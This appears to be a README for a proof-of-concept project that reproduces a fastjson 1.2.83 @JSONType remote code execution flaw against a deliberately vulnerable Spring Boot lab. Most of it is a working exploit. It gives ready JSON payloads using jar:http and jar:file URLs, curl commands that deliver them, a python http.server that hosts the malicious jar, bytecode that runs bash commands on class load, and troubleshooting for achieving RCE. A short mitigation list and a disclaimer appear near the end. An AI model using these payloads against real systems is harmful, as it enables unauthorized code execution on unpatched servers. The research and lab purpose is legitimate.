
Reproduces fastjson 1.2.83 @JSONType RCE with a vulnerable Spring Boot target and ASM-based payload generator using HTTP or file protocol jar chains.
@JSONType Resource Probe Chain RCE
A reproduction project for remote class loading / command execution in fastjson 1.2.66 ~ 1.2.83 via the @JSONType annotation + an illegal class name + the jar: protocol.
⚠️ Disclaimer
This project is intended solely for security research, vulnerability reproduction, and authorized testing. It is strictly forbidden to use it against any unauthorized system, for illegal attacks, or for malicious purposes. Users bear full responsibility for their own actions; the author assumes no legal liability for any misuse.
Vulnerability analysis article: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w
This project sets up a complete fastjson 1.2.83 vulnerability reproduction environment around CVE-2026-16723:
demo/ — The vulnerable Spring Boot 2.7.18 web application (dependent on fastjson 1.2.83), which exposes the POST /parse endpoint and directly calls JSON.parse(json);exp/ — An ASM-based malicious probe jar generator (in both HTTP protocol / FILE protocol forms);环境/ — Precompiled FatJars for three middleware options (Tomcat / Jetty / Undertow), ready to use out of the box.Core exploitation idea: by crafting special JSON whose @type is a jar URL, fastjson is driven along the
@JSONType annotation trust branch → getResourceAsStream downloads a remote/local jar →
defineClass loads the malicious class → class initialization triggers <clinit> → arbitrary command execution (RCE).
JSON.parse(json) or JSON.parseObject(json) to directly parse untrusted input,
with fastjson version in 1.2.66 ~ 1.2.83 and safeMode not enabled;java -jar, LaunchedURLClassLoader;
only Spring Boot ≤ 2.7 retains the jar: protocol Handler fallback capability);defineClass throws ClassFormatError, so at best you can only achieve SSRF);When fastjson's checkAutoType encounters a class carrying the @JSONType annotation, it enters the trust branch,
skipping most blacklist checks and allowing the load. This project exploits that by using ASM to write bytecode directly,
writing an [illegal inner class name] into the this_class of the class constant pool so that all three names align perfectly:
@type jar:http:..2130706433:19090.x!.y (点形态,无斜杠)
resource jar:http://2130706433:19090/x!/y.class (点 -> 斜杠)
this_class jar:http://2130706433:19090/x!/y (字节码内部类名)
Malicious class structure:
@JSONType annotation — the key that opens fastjson's checkAutoType trust branch;<init>()V — ensures fastjson can instantiate the class normally;<clinit> static initializer block — upon class loading/initialization, executes
Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"}) to achieve command execution.An illegal class name cannot be written with
javac; only ASM can write the URL directly into the constant pool — this is why this project's generator depends onasm-9.6.jar.
CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt # 快速利用速查(http / file 协议两条命令)
├── demo/ # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│ └── src/main/java/com/example/demo/
│ ├── DemoApplication.java
│ └── controller/VulController.java # POST /parse -> JSON.parse(json)
├── exp/ # 恶意探针 jar 生成器
│ ├── GenProbeHttp.java # HTTP 协议链(jar:http)
│ ├── GenProbefile.java # FILE 协议链(jar:file)
│ └── asm-9.6.jar # ASM 字节码操作库
└── 环境/ # 预编译靶场 FatJar(开箱即用)
├── demo-0.0.1-SNAPSHOT.jar # Tomcat 中间件
├── demo-0.0.1-SNAPSHOT-jetty.jar # Jetty 中间件
├── demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow 中间件
└── asm-9.6.jar
demo/src/main/java/com/example/demo/controller/VulController.java:
@PostMapping("/parse")
public String parse(@RequestBody String json) {
ParserConfig.getGlobalInstance().setAsmEnable(false);
ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
JSON.parse(json); // 未指定类型,直接解析不可信输入
return "Parsed!";
}
The lab must run in a JDK 8 environment (consistent with the exploitation conditions).
# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow
# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run
After startup, the endpoint address is: http://127.0.0.1:8080/parse
cd exp
javac -cp asm-9.6.jar GenProbeHttp.java
java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
19090 — the HTTP hosting port for the malicious jaropen -a Calculator — the command to execute on the target machine (pops up Calculator on macOS;
on Linux, use id > /tmp/pwned 2>&1 and verify whether the file exists)By default, a file named x (no extension) is generated, which contains y.class inside.
The payload is:
{"@type":"jar:http:..2130706433:19090.x!.y","x":1}
python3 -m http.server 19090
Make sure
python3 -m http.serveris started in the directory where thexfile was generated.
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'
The command execution result is not echoed back in the HTTP response; confirmation must be done on the target machine:
# Linux 目标
cat /tmp/pwned # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器(open -a Calculator)
Applicable scenario: the target cannot access the attacker machine's HTTP port (intranet isolation / restricted egress), but the jar file can be placed onto the target machine's filesystem.
cd exp
javac -cp asm-9.6.jar GenProbefile.java
java -cp asm-9.6.jar:. GenProbefile 19090 'open -a Calculator'
The generator computes the jar:file: URL based on the current directory (the directory separator / is replaced with .).
For example, if generated under /tmp/project/exp, the payload is:
{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}
Upload/copy the generated file y to the absolute path on the target machine that corresponds to @type
(e.g., /tmp/project/exp/y), keeping the directory structure consistent.
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}'
Note: the path in the FILE protocol chain must match the actual file path on the target machine exactly; otherwise resource probing fails and the load cannot be triggered.
2130706433 is the unsigned 32-bit integer form of 127.0.0.1. Writing it as an integer avoids the . in the IP
being broken by fastjson's . → / replacement logic. When the attacker machine is not the local host:
python3 -c "import socket,struct;print(struct.unpack('!I',socket.inet_aton('你的IP'))[0])"
autoType is not support. jar:http:...This means the jar can be downloaded (SSRF is confirmed), but TypeUtils.loadClass returned null.
There are almost only two reasons:
@JSONType annotation — the probe does not pass the trust branch, so loadClass is never reached;@type — the class name in defineClass does not match the actual class, so loading fails.The generator in this project already addresses both points: @JSONType annotation + alignment of the three names.
If the target's ClassLoader is not LaunchedURLClassLoader
(for example, running directly from an IDE, a plain war package, or Spring Boot 3.x), a single jar:http chain cannot achieve RCE;
at most it can only verify SSRF.
On JDK 9+, defineClass validates illegal class names more strictly and throws ClassFormatError, so the chain breaks at the loading stage.
ParserConfig.getGlobalInstance().setSafeMode(true);
completely disables autoType;JSON.parse(json) /
JSON.parseObject(json) directly on user input; try to use JSON.parseObject(json, Xxx.class) to explicitly specify the target type;ParserConfig.addAccept(...);@type payloads.If this project helps you, feel free to ⭐ Star to support security research and vulnerability documentation efforts.
⚠️ Please use it only for authorized testing — never for illegal purposes!
| Item | Value |
|---|
| CVE | CVE-2026-16723 |
| Component | Alibaba fastjson |
| Affected Versions | 1.2.66 ~ 1.2.83 (the final 1.x version is still affected) |
| Vulnerability Type | Deserialization Remote Code Execution (RCE) |
| Trigger Entry | JSON.parse(json) / JSON.parseObject(json) (without specifying a concrete type) |
| Prerequisites | Target is a Spring Boot FatJar, JDK 8, safeMode disabled |
| Parameter | Default | Description |
|---|
port | 19090 | Port for hosting the malicious jar |
cmd | id > /tmp/pwned 2>&1 | Command to execute on the target machine |
hostToken | 2130706433 | Integer form of the IP the target accesses (127.0.0.1) |
entry | y | Class entry name inside the jar |
outFile | x | Generated jar file name (no extension) |
| Parameter | Default | Description |
|---|
port | 19090 | Reserved parameter (the FILE chain does not use a port) |
cmd | id > /tmp/pwned 2>&1 | Command to execute on the target machine |
dir | current directory | Directory of the jar on the target machine (used to build the jar:file: URL) |
entry | x | Class entry name inside the jar |
outFile | y | Generated jar file name (no extension) |